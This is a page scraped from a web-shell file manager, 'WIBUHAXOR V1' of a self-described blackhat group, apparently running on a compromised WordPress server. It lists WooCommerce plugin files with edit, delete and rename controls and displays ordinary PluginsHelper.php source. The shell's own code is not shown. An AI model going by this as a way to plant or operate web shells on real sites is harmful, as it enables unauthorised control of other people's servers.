-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
woocommerce
/
packages
/
woocommerce-admin
/
src
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
API
--
NONE
Composer
--
NONE
DateTimeProvider
--
NONE
Features
--
NONE
Marketing
--
NONE
Notes
--
NONE
Overrides
--
NONE
PluginsProvider
--
NONE
RemoteInboxNotifications
--
NONE
Schedulers
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
CategoryLookup.php
7.606KB
Edit File
Delete File
Rename
DataSourcePoller.php
5.54KB
Edit File
Delete File
Rename
DeprecatedClassFacade.php
2.304KB
Edit File
Delete File
Rename
Events.php
6.14KB
Edit File
Delete File
Rename
FeaturePlugin.php
9.206KB
Edit File
Delete File
Rename
Install.php
17.212KB
Edit File
Delete File
Rename
Loader.php
45.304KB
Edit File
Delete File
Rename
PageController.php
14.209KB
Edit File
Delete File
Rename
PaymentMethodSuggestionsDataSourcePoller.php
2.131KB
Edit File
Delete File
Rename
PluginsHelper.php
3.139KB
Edit File
Delete File
Rename
PluginsInstaller.php
3.161KB
Edit File
Delete File
Rename
ReportCSVEmail.php
3.562KB
Edit File
Delete File
Rename
ReportCSVExporter.php
9.495KB
Edit File
Delete File
Rename
ReportExporter.php
6.281KB
Edit File
Delete File
Rename
ReportsSync.php
5.901KB
Edit File
Delete File
Rename
Survey.php
0.741KB
Edit File
Delete File
Rename
WCAdminHelper.php
2.695KB
Edit File
Delete File
Rename
WCAdminSharedSettings.php
1.488KB
Edit File
Delete File
Rename
<?php /** * PluginsHelper * * Helper class for the site's plugins. */ namespace Automattic\WooCommerce\Admin; defined( 'ABSPATH' ) || exit; if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } /** * Class PluginsHelper */ class PluginsHelper { /** * Get the path to the plugin file relative to the plugins directory from the plugin slug. * * E.g. 'woocommerce' returns 'woocommerce/woocommerce.php' * * @param string $slug Plugin slug to get path for. * * @return string|false */ public static function get_plugin_path_from_slug( $slug ) { $plugins = get_plugins(); if ( strstr( $slug, '/' ) ) { // The slug is already a plugin path. return $slug; } foreach ( $plugins as $plugin_path => $data ) { $path_parts = explode( '/', $plugin_path ); if ( $path_parts[0] === $slug ) { return $plugin_path; } } return false; } /** * Get an array of installed plugin slugs. * * @return array */ public static function get_installed_plugin_slugs() { return array_map( function( $plugin_path ) { $path_parts = explode( '/', $plugin_path ); return $path_parts[0]; }, array_keys( get_plugins() ) ); } /** * Get an array of installed plugins with their file paths as a key value pair. * * @return array */ public static function get_installed_plugins_paths() { $plugins = get_plugins(); $installed_plugins = array(); foreach ( $plugins as $path => $plugin ) { $path_parts = explode( '/', $path ); $slug = $path_parts[0]; $installed_plugins[ $slug ] = $path; } return $installed_plugins; } /** * Get an array of active plugin slugs. * * @return array */ public static function get_active_plugin_slugs() { return array_map( function( $plugin_path ) { $path_parts = explode( '/', $plugin_path ); return $path_parts[0]; }, get_option( 'active_plugins', array() ) ); } /** * Checks if a plugin is installed. * * @param string $plugin Path to the plugin file relative to the plugins directory or the plugin directory name. * * @return bool */ public static function is_plugin_installed( $plugin ) { $plugin_path = self::get_plugin_path_from_slug( $plugin ); return $plugin_path ? array_key_exists( $plugin_path, get_plugins() ) : false; } /** * Checks if a plugin is active. * * @param string $plugin Path to the plugin file relative to the plugins directory or the plugin directory name. * * @return bool */ public static function is_plugin_active( $plugin ) { $plugin_path = self::get_plugin_path_from_slug( $plugin ); return $plugin_path ? in_array( $plugin_path, get_option( 'active_plugins', array() ), true ) : false; } /** * Get plugin data. * * @param string $plugin Path to the plugin file relative to the plugins directory or the plugin directory name. * * @return array|false */ public static function get_plugin_data( $plugin ) { $plugin_path = self::get_plugin_path_from_slug( $plugin ); $plugins = get_plugins(); return isset( $plugins[ $plugin_path ] ) ? $plugins[ $plugin_path ] : false; } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat